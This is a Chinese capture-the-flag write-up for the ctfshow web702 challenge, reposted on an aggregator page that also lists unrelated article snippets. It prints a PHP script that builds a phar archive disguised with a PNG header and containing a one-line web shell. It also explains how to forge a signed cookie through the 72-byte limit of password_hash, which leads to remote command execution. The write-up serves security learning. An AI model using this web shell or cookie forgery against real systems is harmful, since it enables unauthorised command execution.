ctfshow-大賽原題-web702

因為該題沒有理解到位,導致看wp也一直出錯,特此反思一下。

參考yu22x師傅的文章 :CTFSHOW大賽原題篇(web696-web710)_ctfshow 大賽原題-CSDN博客

首先拿到題目:

// www.zip 下載源碼

我們的思路就是包含一個css文件,這個css文件是壓縮到phar中的,那么如何繞過文件上傳必須是PNG的限制呢,就可以手動賦值一個文件頭

<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

?

結合這個data和signature,我們可以先創建一個賬號登錄一下:

eyJuYW1lIjoiMTIzXzEyMyJ9.JDJ5JDEwJHNuOWJqbDQzc1pjTTJFd2FCVWV0ZnV0WDZ5UDJWaERTbnNxWU5pMGowcERwVEFhbXVWUTJD

?那么再傳入我們生成的phar文件再查看一下cookie的變化:

(我們發現這兩次的cookie簽名值是不同的),如果簽名值是不同的那么我們添加theme參數的時候就會讓我們重新登錄無法進行命令執行了

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyJ9.JDJ5JDEwJE96SlRZZ2puQ1NQM2lGWHRrNzlPTWU4dEY0VmpVVld5SzJEMGwuMVh3Q0tjbmNsNEJKbG1H

接下來我們需要關注一個比較有意思的地方:

現在我們需要考慮的是我們怎么湊才能把data這個消息也就是咱們cookie "." 前面的字符串是72位以上呢?

我們需要訪問/upload.php 但是不需要上傳文件即可:

?

這樣就湊夠了72以上字符,

因為此處湊夠了72以上字符,因此后面添加theme后,我們就需要用這個簽名

eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJObyBmaWxlIHdhcyB1cGxvYWRlZC4ifX0.JDJ5JDEwJEpINWNYWEdqdzhYSXIzYVJDQnE1dHVLSi9rRWpoM3NXUzN1NXkxOVhWT1gwV2JoNXZITVFD

?{"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}

接著我們利用util類里面的urlsafe_base64_encode函數生成$data再拼接之前的.后面簽名即可:

這樣就可以執行了,我錯誤的原因呢就是拿到最初登錄時候給的$signature來拼接了

但是沒考慮到那個password_hash的特性

?

?具體的思路:

1、可以包含css,所以創建一個css壓縮到phar中,生成png的文件頭

2、通過訪問upload.php湊夠那個72字符

{"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}

3、添加theme參數

4、訪問/index.php? 傳cmd參數執行命令

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/77357.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/77357.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/77357.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

LabVIEW技巧——獲取文件版本信息

獲取可執行文件&#xff08;exe&#xff09;版本信息的幾種方法 方法1. LabVIEW自帶函數 labview自帶了獲取文件版本號的VI&#xff0c;但是沒有開放到程序框圖的函數選板中&#xff0c;在該目錄下可以找到&#xff1a;...\LabVIEW 20xx\vi.lib\Platform\fileVersionInfo.llb…

三格電子——CAN 轉光纖(點對點)布線常見問題

1、CAN 布線 &#xff08;1&#xff09;H 接 H ,L 接 L &#xff08;2&#xff09;兩端設備掛 120 歐姆電阻 2、假如用點對點的 CAN 轉光纖現實遠程傳輸 &#xff08;1&#xff09;H 接 H ,L 接 L &#xff08;2&#xff09;光端機都掛 120 歐姆電阻 每個光端機掛的設備有一個加…

python進階: 深入了解調試利器 Pdb

Python是一種廣泛使用的編程語言&#xff0c;以其簡潔和可讀性著稱。在開發和調試過程中&#xff0c;遇到錯誤和問題是不可避免的。Python為此提供了一個強大的調試工具——Pdb&#xff08;Python Debugger&#xff09;。 Pdb是Python標準庫中自帶的調試器&#xff0c;可以幫助…

React 設計藝術:如何精確拆分組件接口,實現接口隔離原則

接口隔離原則 接口隔離原則&#xff08;Interface Segregation Principle&#xff0c;簡稱 ISP&#xff09;也是面向對象設計中的重要原則之一。它的核心思想是&#xff0c;一個類不應該依賴它不需要的接口。在 React 開發中&#xff0c;遵循接口隔離原則可以提高代碼的可維護性…

內部聊天軟件,BeeWorks-安全的企業內部通訊軟件

企業在享受數據便利的同時&#xff0c;如何保障企業數據安全已經成為無法回避的重要課題。BeeWorks作為一款專為企業設計的內部通訊軟件&#xff0c;通過全鏈路的安全能力升維&#xff0c;為企業提供了一個安全、高效、便捷的溝通協作平臺&#xff0c;全面保障企業數據安全。 …

【零基礎】基于 MATLAB + Gurobi + YALMIP 的優化建模與求解全流程指南

MATLAB Gurobi YALMIP 綜合優化教程&#xff08;進階&#xff09; 本教程系統介紹如何在 MATLAB 環境中使用 YALMIP 建模&#xff0c;并通過 Gurobi 求解器高效求解線性、整數及非線性優化問題。適用于工程、運營研究、能源系統等領域的高級優化建模需求。 一、工具概覽 1.…

Freertos----互斥量

一、為什么要使用互斥量&#xff1f; 我們想讓任務A、B都執行add_a函數&#xff0c;a的最終結果是18817。 假設任務A運行完代碼①&#xff0c;在執行代碼②之前被任務B搶占了&#xff1a;現在任務A的R0等于1。 任務B執行完add_a函數&#xff0c;a等于9。 任務A繼續運行&#…

高級java每日一道面試題-2025年4月11日-微服務篇[Nacos篇]-Nacos使用的數據庫及其數據同步機制是什么?

如果有遺漏,評論區告訴我進行補充 面試官: Nacos使用的數據庫及其數據同步機制是什么&#xff1f; 我回答: Nacos 使用的數據庫及其數據同步機制詳解 在微服務架構中&#xff0c;Nacos 作為服務注冊與配置管理的核心組件&#xff0c;其數據存儲和同步機制對系統的高可用性和…

揭秘大數據 | 22、軟件定義存儲

揭秘大數據 | 19、軟件定義的世界-CSDN博客 揭秘大數據 | 20、軟件定義數據中心-CSDN博客 揭秘大數據 | 21、軟件定義計算-CSDN博客 老規矩&#xff0c;先把這個小系列的前三篇奉上。今天書接上文&#xff0c;接著敘軟件定義存儲的那些事兒。 軟件定義存儲源于VMware公司于…

git常用修改命令

1. 代碼回退與歷史修改 git reset 模式命令示例作用范圍適用場景--softgit reset --soft HEAD~1僅移動 HEAD 指針重新提交之前的修改--mixedgit reset HEAD~1 (默認)重置暫存區取消已 add 但未提交的文件--hardgit reset --hard a1b2c3d徹底丟棄工作區和暫存區徹底回退到某個…

【ubuntu】linux開機自啟動

目錄 開機自啟動&#xff1a; /etc/rc.loacl system V 使用/etc/rc*.d/系統運行優先級 遇到的問題&#xff1a; 1. Linux 系統啟動階段概述 方法1&#xff1a;/etc/rc5.d/ 腳本延時日志 方法二&#xff1a;使用 udev 規則來觸發腳本執行 開機自啟動&#xff1a; /etc/…

Python深度學習基礎——深度神經網絡(DNN)(PyTorch)

張量 數組與張量 PyTorch 作為當前首屈一指的深度學習庫&#xff0c;其將 NumPy 數組的語法盡數吸收&#xff0c;作為自己處理張量的基本語法&#xff0c;且運算速度從使用 CPU 的數組進步到使用 GPU 的張量。 NumPy 和 PyTorch 的基礎語法幾乎一致&#xff0c;具體表現為&am…

光伏產品研發項目如何降本增效?8Manage 項目管理軟件在復合材料制造的應用

在復合材料制造領域&#xff0c;特別是光伏PECVD石墨舟和燃料電池石墨雙極板等高精尖產品的研發過程中&#xff0c;高效的項目管理直接決定了產品開發周期、質量和市場競爭力。然而&#xff0c;許多企業在項目立項、進度跟蹤、資源分配和質量控制等環節面臨挑戰。 針對這些痛點…

linux的glib庫使用

glib常用接口使用 1. glib介紹2. glib命令安裝3. 獲取glib的版本信息和兼容信息4. glib使用例子4.1 鏈表例子4.2 哈希表例子4.3 使用面向對象例子 1. glib介紹 廣泛應用于桌面環境、嵌入式系統、GNOME等項目中。它提供了完整的面向對象編程模型&#xff08;GObject&#xff09…

vs2022使用git方法

1、創建git 2、在cmd下執行 git push -f origin master &#xff0c;會把本地代碼全部推送到遠程&#xff0c;同時會覆蓋遠程代碼。 3、需要設置【Git全局設置】&#xff0c;修改的代碼才會顯示可以提交&#xff0c;否則是灰色的不能提交。 4、創建的分支&#xff0c;只要點擊…

SAP ECCS 標準報表 切換為EXCEL電子表格模式

在解決《SAP ECCS標準報表在報表中不存在特征CG細分期間 消息號 GK715報錯分析》問題過程中通過DEBUG方式參照測試環境補錄數據后&#xff0c;不再報GK715錯誤&#xff0c;此時用戶要的很急&#xff0c;要出季報。要求先把數據導出供其分析出季報。 采用導出列表方式&#xff…

基于 Python 和 OpenCV 技術的疲勞駕駛檢測系統(2.0 全新升級,附源碼)

大家好&#xff0c;我是徐師兄&#xff0c;一個有著7年大廠經驗的程序員&#xff0c;也是一名熱衷于分享干貨的技術愛好者。平時我在 CSDN、掘金、華為云、阿里云和 InfoQ 等平臺分享我的心得體會。 &#x1f345;文末獲取源碼聯系&#x1f345; 2025年最全的計算機軟件畢業設計…

MATLAB項目實戰(一)

題目&#xff1a; 某公司有6個建筑工地要開工&#xff0c;每個工地的位置&#xff08;用平面坐標系a&#xff0c;b表示&#xff0c;距離單位&#xff1a;km&#xff09;及水泥日用量d(t)由下表給出&#xff0e;目前有兩個臨時料場位于A(5,1)&#xff0c;B(2,7)&#xff0c;日儲…

[250417] Fedora 42 正式發布,搭載 Linux 6.14 內核和 GNOME 48 桌面環境

目錄 Fedora 42 正式發布全新的 Anaconda Web UI 安裝程序KDE Plasma 榮升官方版本 (Edition)全新 Fedora COSMIC Spin 登場GNOME 48 桌面環境更新其他重要改進獲取與升級 Fedora 42 正式發布 Fedora Linux 42 現已正式發布&#xff01;此版本基于最新的 Linux 內核 6.14 構建…

開源技術如何助力中小企業實現財務管理自主化?

中小企業的數字化困境與開源機遇 國際數據公司&#xff08;IDC&#xff09;研究顯示&#xff0c;全球67%的中小企業因高昂的軟件成本和僵化的功能設計&#xff0c;未能有效推進數字化轉型。傳統商業軟件常面臨三大矛盾&#xff1a; 功能冗余與核心需求缺失&#xff1a;標準化系…